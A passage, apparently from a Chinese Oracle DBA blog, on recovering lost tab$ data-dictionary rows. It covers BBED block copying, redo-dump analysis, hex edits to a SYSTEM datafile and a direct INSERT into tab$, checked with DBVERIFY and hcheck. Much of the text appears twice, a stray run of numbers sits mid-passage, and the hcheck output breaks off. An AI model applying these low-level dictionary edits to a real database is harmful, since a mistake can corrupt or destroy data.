06a20000 9c004000 13000300 00000106 c8120000 01000000 02000000 12000300

00000000 02000200 00000000 00006100 0f000000 81004000 18003000 00800000

970a0000 07000d00 99000000 8d59c000 1b001700 02200000 13000300 00076300

fffff000 50020f08 0f080000 0a000a00 0a001400 00001400 0b001f00 0e002d00

35006200 0100891f 511d0219 6217c215 6b14a012 ea10730f 610d8c08 64044105

89030a09 580aaa02 da097c06 b7070f1e 3c080d04 e6042e03 50028a09 1f06c505

5b070107 c41da71d 75195819 d517b817 35161816 3f11c90f 140eb70d 6e0b120b

ea1eb61e 831e4d1e b31c7b1c 401c071c c91b921b 571b1e1b e21aa81a 701a391a

021ac919 92196318 2b18f217 c3168b16 52162815 ef14ba14 8214d113 98135d13

2413ef12 b7120112 c8119111 5c114b10 1810e60f cb0e940e 630e310e c20c8e0c

540c210c f00bc00b 8b0be11d 00000000 00000000 00000000 00000000 00000000

00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

<32 bytes per line>

BBED> set count 1

COUNT 1

BBED> copy file 2 block 156 to file 1 block 156

File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)

Block: 156 Offsets: 0 to 0 Dba:0x0040009c

------------------------------------------------------------------------

<32 bytes per line>

BBED> copy file 2 block 160 to file 1 block 160

......省略

尝试open数据库：

SQL> conn / as sysdba

Connected to an idle instance.

SQL> startup

ORACLE instance started.

Total System Global Area 1269366784 bytes

Fixed Size 2252864 bytes

Variable Size 1191186368 bytes

Database Buffers 67108864 bytes

Redo Buffers 8818688 bytes

Database mounted.

Database opened.

灵魂拷问3：如何将备份的tab$ insert回tab$？

由于tab$的备份表在tab$中并没有恢复所以无法查询，下面需要根据redodump去确定tab$的备份表t_bak的rdba

SQL&gt; desc t_bak
ERROR:
ORA-03113: end-of-file on communication channel
Process ID: 2812
Session ID: 125 Serial number: 7
通过对logdump搜索OBJ:2(C_OBJ#的dataobj#)、OP:11.2(insert操作)、tabn：1(C_OBJ#中tab$的tab#),以及查出来的t_bak的obj#，不难找到create table as t_bak对tab$的redo日志：
CHANGE #2 TYP:2 CLS:1 AFN:1 DBA:0x00407b2c OBJ:2 SCN:0x0000.000f5a8b SEQ:1 OP:11.2 ENC:0 RBL:0
KTB Redo 
op: 0x11  ver: 0x01  
compat bit: 4 (post-11) padding: 1
op: F  xid:  0x0004.00f.0000011e    uba: 0x00c00630.0050.37
Block cleanout record, scn:  0x0000.000f5a8b ver: 0x01 opt: 0x02, entries follow...
itli: 1  flg: 2  scn: 0x0000.000f5a8b
KDO Op code: IRP row dependencies Disabled
xtype: XA flags: 0x00000000  bdba: 0x00407b2c  hdba: 0x00400090
itli: 2  ispac: 0  maxfr: 4863
tabn: 1 slot: 2(0x2) size/delt: 123
fb: -CH-FL-- lb: 0x2  cc: 36 cki: 0
null:
01234567890123456789012345678901234567890123456789012345678901234567890123456789
----NN-N------NNNNNNNNNNNN-----NNNN-
col  0: [ 4]  c3 02 30 34 --obj#
col  1: [ 1]  80
col  2: [ 2]  c1 02
col  3: [ 4]  c3 05 61 29
col  4: *NULL*
col  5: *NULL*
col  6: [ 2]  c1 26
col  7: *NULL*
col  8: [ 2]  c1 0b
col  9: [ 2]  c1 29
col 10: [ 2]  c1 02
col 11: [ 3]  c2 03 38
col 12: [ 2]  c1 02
col 13: [38]
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d
col 14: *NULL*
col 15: *NULL*
col 16: *NULL*
col 17: *NULL*
col 18: *NULL*
col 19: *NULL*
col 20: *NULL*
col 21: *NULL*
col 22: *NULL*
col 23: *NULL*
col 24: *NULL*
col 25: *NULL*
col 26: [ 2]  c1 26
col 27: [ 2]  c1 26
col 28: [ 6]  c5 06 25 58 0a 0d
col 29: [ 1]  80
col 30: [ 3]  c2 02 4d
col 31: *NULL*
col 32: *NULL*
col 33: *NULL*
col 34: *NULL*
col 35: [ 7]  78 77 01 1f 0e 25 01

SQL> desc t_bak

ERROR:

ORA-03113: end-of-file on communication channel

Process ID: 2812

Session ID: 125 Serial number: 7

通过对logdump搜索OBJ:2(C_OBJ#的dataobj#)、OP:11.2(insert操作)、tabn：1(C_OBJ#中tab$的tab#),以及查出来的t_bak的obj#，不难找到create table as t_bak对tab$的redo日志：

CHANGE #2 TYP:2 CLS:1 AFN:1 DBA:0x00407b2c OBJ:2 SCN:0x0000.000f5a8b SEQ:1 OP:11.2 ENC:0 RBL:0

KTB Redo

op: 0x11 ver: 0x01

compat bit: 4 (post-11) padding: 1

op: F xid: 0x0004.00f.0000011e uba: 0x00c00630.0050.37

Block cleanout record, scn: 0x0000.000f5a8b ver: 0x01 opt: 0x02, entries follow...

itli: 1 flg: 2 scn: 0x0000.000f5a8b

KDO Op code: IRP row dependencies Disabled

xtype: XA flags: 0x00000000 bdba: 0x00407b2c hdba: 0x00400090

itli: 2 ispac: 0 maxfr: 4863

tabn: 1 slot: 2(0x2) size/delt: 123

fb: -CH-FL-- lb: 0x2 cc: 36 cki: 0

null:

01234567890123456789012345678901234567890123456789012345678901234567890123456789

----NN-N------NNNNNNNNNNNN-----NNNN-

col 0: [ 4] c3 02 30 34 --obj#

col 1: [ 1] 80

col 2: [ 2] c1 02

col 3: [ 4] c3 05 61 29

col 4: *NULL*

col 5: *NULL*

col 6: [ 2] c1 26

col 7: *NULL*

col 8: [ 2] c1 0b

col 9: [ 2] c1 29

col 10: [ 2] c1 02

col 11: [ 3] c2 03 38

col 12: [ 2] c1 02

col 13: [38]

2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d

2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d

col 14: *NULL*

col 15: *NULL*

col 16: *NULL*

col 17: *NULL*

col 18: *NULL*

col 19: *NULL*

col 20: *NULL*

col 21: *NULL*

col 22: *NULL*

col 23: *NULL*

col 24: *NULL*

col 25: *NULL*

col 26: [ 2] c1 26

col 27: [ 2] c1 26

col 28: [ 6] c5 06 25 58 0a 0d

col 29: [ 1] 80

col 30: [ 3] c2 02 4d

col 31: *NULL*

col 32: *NULL*

col 33: *NULL*

col 34: *NULL*

col 35: [ 7] 78 77 01 1f 0e 25 01

可以看到t_bak在tab$的rdba地址为0x00407b2c(file 1 block 31532），cki为0即cluster key为kdbr[0]

BBED&gt; set count 16     
COUNT           16
BBED&gt; set file 1 block 31532
FILE#           1
BLOCK#          31532
BBED&gt; p *kdbr[0]
rowdata[2060]
-------------
ub1 rowdata[2060]                           @2601     0xac
BBED&gt; x /rx
rowdata[2060]                               @2601    
-------------
flag@2601: 0xac (KDRHFL, KDRHFF, KDRHFH, KDRHFK)
lock@2602: 0x00
cols@2603:    1
kref@2604:   38
mref@2606:   37
hrid@2608:0x00407b2c.0
nrid@2614:0x00407b2c.0
col    0[4] @2620:  0xc3  0x02  0x30  0x34

BBED> set count 16

COUNT 16

BBED> set file 1 block 31532

FILE# 1

BLOCK# 31532

BBED> p *kdbr[0]

rowdata[2060]

-------------

ub1 rowdata[2060] @2601 0xac

BBED> x /rx

rowdata[2060] @2601

-------------

flag@2601: 0xac (KDRHFL, KDRHFF, KDRHFH, KDRHFK)

lock@2602: 0x00

cols@2603: 1

kref@2604: 38

mref@2606: 37

hrid@2608:0x00407b2c.0

nrid@2614:0x00407b2c.0

col 0[4] @2620: 0xc3 0x02 0x30 0x34

与redo dump一致，下面开始恢复tab$中t_bak的记录，由于是cluster block所以过程有点繁琐

BBED&gt; p *kdbr[5]
rowdata[1937]
-------------
ub1 rowdata[1937]                           @2478     0x7c
BBED&gt; x /rn
rowdata[1937]                               @2478    
-------------
flag@2478: 0x7c (KDRHFL, KDRHFF, KDRHFD, KDRHFH, KDRHFC)
lock@2479: 0x02
cols@2480:    0
BBED&gt; m /x 6c offset 2478
File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
Block: 31532            Offsets: 2478 to 2493           Dba:0x00407b2c
------------------------------------------------------------------------
6c022400 04c30230 34018002 c10204c3 
&lt;32 bytes per line&gt;
BBED&gt; sum apply
Check value for File 1, Block 31532:
current = 0x1e1f, required = 0x1e1f
BBED&gt; v
DBVERIFY - Verification starting
FILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf
BLOCK = 31532
Block Checking: DBA = 4225836, Block Type = KTB-managed data block
data header at 0x7f1cebc1d25c
kdbchk:  key comref count wrong
keyslot=0
Block 31532 failed with check code 6121
DBVERIFY - Verification complete
Total Blocks Examined         : 1
Total Blocks Processed (Data) : 1
Total Blocks Failing   (Data) : 1
Total Blocks Processed (Index): 0
Total Blocks Failing   (Index): 0
Total Blocks Empty            : 0
Total Blocks Marked Corrupt   : 0
Total Blocks Influx           : 0
Message 531 not found;  product=RDBMS; facility=BBED
BBED&gt; m /x 26 offset 2606
File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
Block: 31532            Offsets: 2606 to 2621           Dba:0x00407b2c
------------------------------------------------------------------------
26000040 7b2c0000 00407b2c 000004c3 
&lt;32 bytes per line&gt;
BBED&gt; sum apply
Check value for File 1, Block 31532:
current = 0x1e1c, required = 0x1e1c
BBED&gt; v
DBVERIFY - Verification starting
FILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf
BLOCK = 31532
Block Checking: DBA = 4225836, Block Type = KTB-managed data block
data header at 0x11e5a5c
kdbchk: the amount of space used is not equal to block size
used=3398 fsc=385 avsp=4432 dtl=8096
Block 31532 failed with check code 6110
DBVERIFY - Verification complete
Total Blocks Examined         : 1
Total Blocks Processed (Data) : 1
Total Blocks Failing   (Data) : 1
Total Blocks Processed (Index): 0
Total Blocks Failing   (Index): 0
Total Blocks Empty            : 0
Total Blocks Marked Corrupt   : 0
Total Blocks Influx           : 0
Message 531 not found;  product=RDBMS; facility=BBED
BBED&gt; p kdbh
struct kdbh, 14 bytes                       @92      
ub1 kdbhflag                             @92       0x00 (NONE)
sb1 kdbhntab                             @93       7
sb2 kdbhnrow                             @94       127
sb2 kdbhfrre                             @96       6
sb2 kdbhfsbo                             @98       296
sb2 kdbhfseo                             @100      449
sb2 kdbhavsp                             @102      4432
sb2 kdbhtosp                             @104      4829
BBED&gt; p ktbbhitl
struct ktbbhitl[0], 24 bytes                @44      
struct ktbitxid, 8 bytes                 @44      
ub2 kxidusn                           @44       0x0008
ub2 kxidslt                           @46       0x0005
ub4 kxidsqn                           @48       0x00000182
struct ktbituba, 8 bytes                 @52      
ub4 kubadba                           @52       0x00c00d2f
ub2 kubaseq                           @56       0x0086
ub1 kubarec                           @58       0x14
ub2 ktbitflg                             @60       0x8000 (KTBFCOM)
union _ktbitun, 2 bytes                  @62      
sb2 _ktbitfsc                         @62       0
ub2 _ktbitwrp                         @62       0x0000
ub4 ktbitbas                             @64       0x00102cd7
struct ktbbhitl[1], 24 bytes                @68      
struct ktbitxid, 8 bytes                 @68      
ub2 kxidusn                           @68       0x0009
ub2 kxidslt                           @70       0x0009
ub4 kxidsqn                           @72       0x0000018f
struct ktbituba, 8 bytes                 @76      
ub4 kubadba                           @76       0x00c00499
ub2 kubaseq                           @80       0x00f9
ub1 kubarec                           @82       0x09
ub2 ktbitflg                             @84       0x2003 (KTBFUPB)
union _ktbitun, 2 bytes                  @86      
sb2 _ktbitfsc                         @86       385
ub2 _ktbitwrp                         @86       0x0181
ub4 ktbitbas                             @88       0x00102ce3
BBED&gt; m /x 0000 offset 86
File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
Block: 31532            Offsets:   86 to  101           Dba:0x00407b2c
------------------------------------------------------------------------
0000e32c 10000007 7f000600 2801c101 
&lt;32 bytes per line&gt;
BBED&gt; m /x 5a12 offset 102
File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
Block: 31532            Offsets:  102 to  117           Dba:0x00407b2c
------------------------------------------------------------------------
5a1210d9 00000300 03000300 06000000 
&lt;32 bytes per line&gt;
BBED&gt; m /x 5a12 offset 104
File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
Block: 31532            Offsets:  104 to  119           Dba:0x00407b2c
------------------------------------------------------------------------
5a120000 03000300 03000600 00000600 
&lt;32 bytes per line&gt;
BBED&gt; sum apply
Check value for File 1, Block 31532:
current = 0x1c10, required = 0x1c10
BBED&gt; v
DBVERIFY - Verification starting
FILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf
BLOCK = 31532
Block Checking: DBA = 4225836, Block Type = KTB-managed data block
data header at 0x1207a5c
kdbchk: space available on commit is incorrect
tosp=4698 fsc=0 stb=8 avsp=4698
Block 31532 failed with check code 6111
DBVERIFY - Verification complete
Total Blocks Examined         : 1
Total Blocks Processed (Data) : 1
Total Blocks Failing   (Data) : 1
Total Blocks Processed (Index): 0
Total Blocks Failing   (Index): 0
Total Blocks Empty            : 0
Total Blocks Marked Corrupt   : 0
Total Blocks Influx           : 0
Message 531 not found;  product=RDBMS; facility=BBED
BBED&gt; m /x 6212 offset 104  
File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
Block: 31532            Offsets:  104 to  119           Dba:0x00407b2c
------------------------------------------------------------------------
62120000 03000300 03000600 00000600 
&lt;32 bytes per line&gt;
BBED&gt; sum apply
Check value for File 1, Block 31532:
current = 0x1c28, required = 0x1c28
BBED&gt; v
DBVERIFY - Verification starting
FILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf
BLOCK = 31532
DBVERIFY - Verification complete
Total Blocks Examined         : 1
Total Blocks Processed (Data) : 1
Total Blocks Failing   (Data) : 0
Total Blocks Processed (Index): 0
Total Blocks Failing   (Index): 0
Total Blocks Empty            : 0
Total Blocks Marked Corrupt   : 0
Total Blocks Influx           : 0
Message 531 not found;  product=RDBMS; facility=BBED
SQL&gt; select count(*) from t_bak;
COUNT(*)
----------
1250

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

BBED> p *kdbr[5]

rowdata[1937]

-------------

ub1 rowdata[1937] @2478 0x7c

BBED> x /rn

rowdata[1937] @2478

-------------

flag@2478: 0x7c (KDRHFL, KDRHFF, KDRHFD, KDRHFH, KDRHFC)

lock@2479: 0x02

cols@2480: 0

BBED> m /x 6c offset 2478

File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)

Block: 31532 Offsets: 2478 to 2493 Dba:0x00407b2c

------------------------------------------------------------------------

6c022400 04c30230 34018002 c10204c3

<32 bytes per line>

BBED> sum apply

Check value for File 1, Block 31532:

current = 0x1e1f, required = 0x1e1f

BBED> v

DBVERIFY - Verification starting

FILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf

BLOCK = 31532

Block Checking: DBA = 4225836, Block Type = KTB-managed data block

data header at 0x7f1cebc1d25c

kdbchk: key comref count wrong

keyslot=0

Block 31532 failed with check code 6121

DBVERIFY - Verification complete

Total Blocks Examined : 1

Total Blocks Processed (Data) : 1

Total Blocks Failing (Data) : 1

Total Blocks Processed (Index): 0

Total Blocks Failing (Index): 0

Total Blocks Empty : 0

Total Blocks Marked Corrupt : 0

Total Blocks Influx : 0

Message 531 not found; product=RDBMS; facility=BBED

BBED> m /x 26 offset 2606

File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)

Block: 31532 Offsets: 2606 to 2621 Dba:0x00407b2c

------------------------------------------------------------------------

26000040 7b2c0000 00407b2c 000004c3

<32 bytes per line>

BBED> sum apply

Check value for File 1, Block 31532:

current = 0x1e1c, required = 0x1e1c

BBED> v

DBVERIFY - Verification starting

FILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf

BLOCK = 31532

Block Checking: DBA = 4225836, Block Type = KTB-managed data block

data header at 0x11e5a5c

kdbchk: the amount of space used is not equal to block size

used=3398 fsc=385 avsp=4432 dtl=8096

Block 31532 failed with check code 6110

DBVERIFY - Verification complete

Total Blocks Examined : 1

Total Blocks Processed (Data) : 1

Total Blocks Failing (Data) : 1

Total Blocks Processed (Index): 0

Total Blocks Failing (Index): 0

Total Blocks Empty : 0

Total Blocks Marked Corrupt : 0

Total Blocks Influx : 0

Message 531 not found; product=RDBMS; facility=BBED

BBED> p kdbh

struct kdbh, 14 bytes @92

ub1 kdbhflag @92 0x00 (NONE)

sb1 kdbhntab @93 7

sb2 kdbhnrow @94 127

sb2 kdbhfrre @96 6

sb2 kdbhfsbo @98 296

sb2 kdbhfseo @100 449

sb2 kdbhavsp @102 4432

sb2 kdbhtosp @104 4829

BBED> p ktbbhitl

struct ktbbhitl[0], 24 bytes @44

struct ktbitxid, 8 bytes @44

ub2 kxidusn @44 0x0008

ub2 kxidslt @46 0x0005

ub4 kxidsqn @48 0x00000182

struct ktbituba, 8 bytes @52

ub4 kubadba @52 0x00c00d2f

ub2 kubaseq @56 0x0086

ub1 kubarec @58 0x14

ub2 ktbitflg @60 0x8000 (KTBFCOM)

union _ktbitun, 2 bytes @62

sb2 _ktbitfsc @62 0

ub2 _ktbitwrp @62 0x0000

ub4 ktbitbas @64 0x00102cd7

struct ktbbhitl[1], 24 bytes @68

struct ktbitxid, 8 bytes @68

ub2 kxidusn @68 0x0009

ub2 kxidslt @70 0x0009

ub4 kxidsqn @72 0x0000018f

struct ktbituba, 8 bytes @76

ub4 kubadba @76 0x00c00499

ub2 kubaseq @80 0x00f9

ub1 kubarec @82 0x09

ub2 ktbitflg @84 0x2003 (KTBFUPB)

union _ktbitun, 2 bytes @86

sb2 _ktbitfsc @86 385

ub2 _ktbitwrp @86 0x0181

ub4 ktbitbas @88 0x00102ce3

BBED> m /x 0000 offset 86

File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)

Block: 31532 Offsets: 86 to 101 Dba:0x00407b2c

------------------------------------------------------------------------

0000e32c 10000007 7f000600 2801c101

<32 bytes per line>

BBED> m /x 5a12 offset 102

File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)

Block: 31532 Offsets: 102 to 117 Dba:0x00407b2c

------------------------------------------------------------------------

5a1210d9 00000300 03000300 06000000

<32 bytes per line>

BBED> m /x 5a12 offset 104

File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)

Block: 31532 Offsets: 104 to 119 Dba:0x00407b2c

------------------------------------------------------------------------

5a120000 03000300 03000600 00000600

<32 bytes per line>

BBED> sum apply

Check value for File 1, Block 31532:

current = 0x1c10, required = 0x1c10

BBED> v

DBVERIFY - Verification starting

FILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf

BLOCK = 31532

Block Checking: DBA = 4225836, Block Type = KTB-managed data block

data header at 0x1207a5c

kdbchk: space available on commit is incorrect

tosp=4698 fsc=0 stb=8 avsp=4698

Block 31532 failed with check code 6111

DBVERIFY - Verification complete

Total Blocks Examined : 1

Total Blocks Processed (Data) : 1

Total Blocks Failing (Data) : 1

Total Blocks Processed (Index): 0

Total Blocks Failing (Index): 0

Total Blocks Empty : 0

Total Blocks Marked Corrupt : 0

Total Blocks Influx : 0

Message 531 not found; product=RDBMS; facility=BBED

BBED> m /x 6212 offset 104

File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)

Block: 31532 Offsets: 104 to 119 Dba:0x00407b2c

------------------------------------------------------------------------

62120000 03000300 03000600 00000600

<32 bytes per line>

BBED> sum apply

Check value for File 1, Block 31532:

current = 0x1c28, required = 0x1c28

BBED> v

DBVERIFY - Verification starting

FILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf

BLOCK = 31532

DBVERIFY - Verification complete

Total Blocks Examined : 1

Total Blocks Processed (Data) : 1

Total Blocks Failing (Data) : 0

Total Blocks Processed (Index): 0

Total Blocks Failing (Index): 0

Total Blocks Empty : 0

Total Blocks Marked Corrupt : 0

Total Blocks Influx : 0

Message 531 not found; product=RDBMS; facility=BBED

SQL> select count(*) from t_bak;

COUNT(*)

----------

1250

t_bak已经恢复完成，下面insert回tab$

SQL&gt; insert into tab$ select * from (select * from t_bak where obj# in (select obj# from t_bak where obj#&lt;&gt;14751 minus select obj# from tab$));
982 rows created.
SQL&gt; commit;
Commit complete.
SQL&gt; select count(*) from t;
COUNT(*)
----------
13982

SQL> insert into tab$ select * from (select * from t_bak where obj# in (select obj# from t_bak where obj#<>14751 minus select obj# from tab$));

982 rows created.

SQL> commit;

Commit complete.

SQL> select count(*) from t;

COUNT(*)

----------

13982

至此数据库基本恢复完成。

但是通过hcheck脚本检查数据字典一致性发现还是有一些问题存在：

SQL&gt; @hcheck
HCheck Version 07MAY18 on 14-FEB-2019 22:49:53
----------------------------------------------
Catalog Version 11.2.0.4.0 (1102000400)
db_name: LXY
Catalog       Fixed
Procedure Name                     Version    Vs Release    Timestamp
Result
------------------------------ ... ---------- -- ---------- --------------
------
.- LobNotInObj                 ... 1102000400 &lt;=  *All Rel* 02/14 22:49:53 PASS
.- MissingOIDOnObjCol          ... 1102000400 &lt;=  *All Rel* 02/14 22:49:53 FAIL
HCKE-0002: Object type column with missing OID$ (Doc ID 1360268.1)
OBJ#=12946 Name=SYS.AQ$SCHEDULER$_EVENT_QTAB IntCol#=20=USER_DATA TabProp=
OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=28=USER_DATA
TabProp=539101206
OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=31=SYS_NC00031$
TabProp=539101206
OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=46=SYS_NC00046$
TabProp=539101206
OBJ#=12987 Name=SYS.SCHEDULER_FILEWATCHER_QT IntCol#=28=USER_DATA
TabProp=539101190
OBJ#=12987 Name=SYS.SCHEDULER_FILEWATCHER_QT IntCol#=35=SYS_NC00035$
TabProp=539101190
OBJ#=13273 Name=SYS.AQ_EVENT_TABLE IntCol#=25=USER_DATA TabProp=539363346
OBJ#=13281 Name=SYS.AQ$AQ_EVENT_TABLE IntCol#=20=USER_DATA TabProp=
OBJ#=13282 Name=SYS.AQ$_AQ_EVENT_TABLE_F IntCol#=24=USER_DATA TabProp=
OBJ#=13285 Name=SYS.AQ_PROP_TABLE IntCol#=28=USER_DATA TabProp=539101186
OBJ#=13591 Name=SYS.SYS$SERVICE_METRICS_TAB IntCol#=28=USER_DATA
TabProp=539101186
.- SourceNotInObj              ... 1102000400 &lt;=  *All Rel* 02/14 22:49:53 PASS
.- OversizedFiles              ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- PoorDefaultStorage          ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- PoorStorage                 ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- TabPartCountMismatch        ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedTabComPart          ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- MissingSum$                 ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- MissingDir$                 ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- DuplicateDataobj            ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- ObjSynMissing               ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- ObjSeqMissing               ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedUndo                ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedIndex               ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedIndexPartition      ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedIndexSubPartition   ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedTable               ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedTablePartition      ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedTableSubPartition   ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- MissingPartCol              ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedSeg$                ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedIndPartObj#         ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- DuplicateBlockUse           ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- FetUet                      ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- Uet0Check                   ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- SeglessUET                  ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- BadInd$                     ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- BadTab$                     ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- BadIcolDepCnt               ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- ObjIndDobj                  ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- TrgAfterUpgrade             ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- ObjType0                    ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- BadOwner                    ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- StmtAuditOnCommit           ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- BadPublicObjects            ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- BadSegFreelist              ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- BadDepends                  ... 1102000400 &lt;=  *All Rel* 02/14 22:49:54 PASS
.- CheckDual                   ... 1102000400 &lt;=  *All Rel* 02/14 22:49:55 PASS
.- ObjectNames                 ... 1102000400 &lt;=  *All Rel* 02/14 22:49:55 PASS
.- BadCboHiLo                  ... 1102000400 &lt;=  *All Rel* 02/14 22:49:55 PASS
.- ChkIotTs                    ... 1102000400 &lt;=  *All Rel* 02/14 22:49:55 PASS
.- NoSegmentIndex              ... 1102000400 &lt;=  *All Rel* 02/14 22:49:55 PASS
.- BadNextObject               ... 1102000400 &lt;=  *All Rel* 02/14 22:49:55 PASS
.- DroppedROTS                 ... 1102000400 &lt;=  *All Rel* 02/14 22:49:55 PASS
.- FilBlkZero                  ... 1102000400 &lt;=  *All Rel* 02/14 22:49:55 PASS
.- DbmsSchemaCopy              ... 1102000400 &lt;=  *All Rel* 02/14 22:49:55 PASS
.- OrphanedObjError            ... 1102000400 &gt;  1102000000 02/14 22:49:55 PASS
.- ObjNotLob                   ... 1102000400 &lt;=  *All Rel* 02/14 22:49:55 PASS
.- MaxControlfSeq              ... 1102000400 &lt;=  *All Rel* 02/14 22:49:55 PASS
.- SegNotInDeferredStg         ... 1102000400 &gt;  1102000000 02/14 22:49:55 PASS
.- SystemNotRfile1             ... 1102000400 &gt;   902000000 02/14 22:49:55 PASS
.- DictOwnNonDefaultSYSTEM     ... 1102000400 &lt;=  *All Rel* 02/14 22:49:55 PASS
.- OrphanTrigger               ... 1102000400 &lt;=  *All Rel* 02/14 22:49:55 PASS
.- ObjNotTrigger               ... 1102000400 &lt;=  *All Rel* 02/14 22:49:55 PASS
---------------------------------------
14-FEB-2019 22:49:55  Elapsed: 2 secs
---------------------------------------
Found 11 potential problem(s) and 0 warning(s)
Contact Oracle Support with the output and trace file
to check if the above needs attention or not
PL/SQL procedure successfully completed.
Statement processed.
Complete output is in trace file:
/u01/app/oracle/diag/rdbms/lxy/lxy/trace/lxy_ora_1808_HCHECK.trc

SQL> @hcheck

HCheck Version 07MAY18 on 14-FEB-2019 22:49:53

----------------------------------------------

Catalog Version 11.2.0.4.0 (1102000400)

db_name: LXY

Catalog Fixed

Procedure Name Version Vs Release Timestamp

Result

------------------------------ ... ---------- -- ---------- --------------

------

.- LobNotInObj ... 1102000400 <= *All Rel* 02/14 22:49:53 PASS

.- MissingOIDOnObjCol ... 1102000400 <= *All Rel* 02/14 22:49:53 FAIL

HCKE-0002: Object type column with missing OID$ (Doc ID 1360268.1)

OBJ#=12946 Name=SYS.AQ$SCHEDULER$_EVENT_QTAB IntCol#=20=USER_DATA TabProp=

OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=28=USER_DATA

TabProp=539101206

OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=31=SYS_NC00031$

TabProp=539101206

OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=46=SYS_NC00046$

TabProp=539101206

OBJ#=12987 Name=SYS.SCHEDULER_FILEWATCHER_QT IntCol#=28=USER_DATA

TabProp=539101190

OBJ#=12987 Name=SYS.SCHEDULER_FILEWATCHER_QT IntCol#=35=SYS_NC00035$

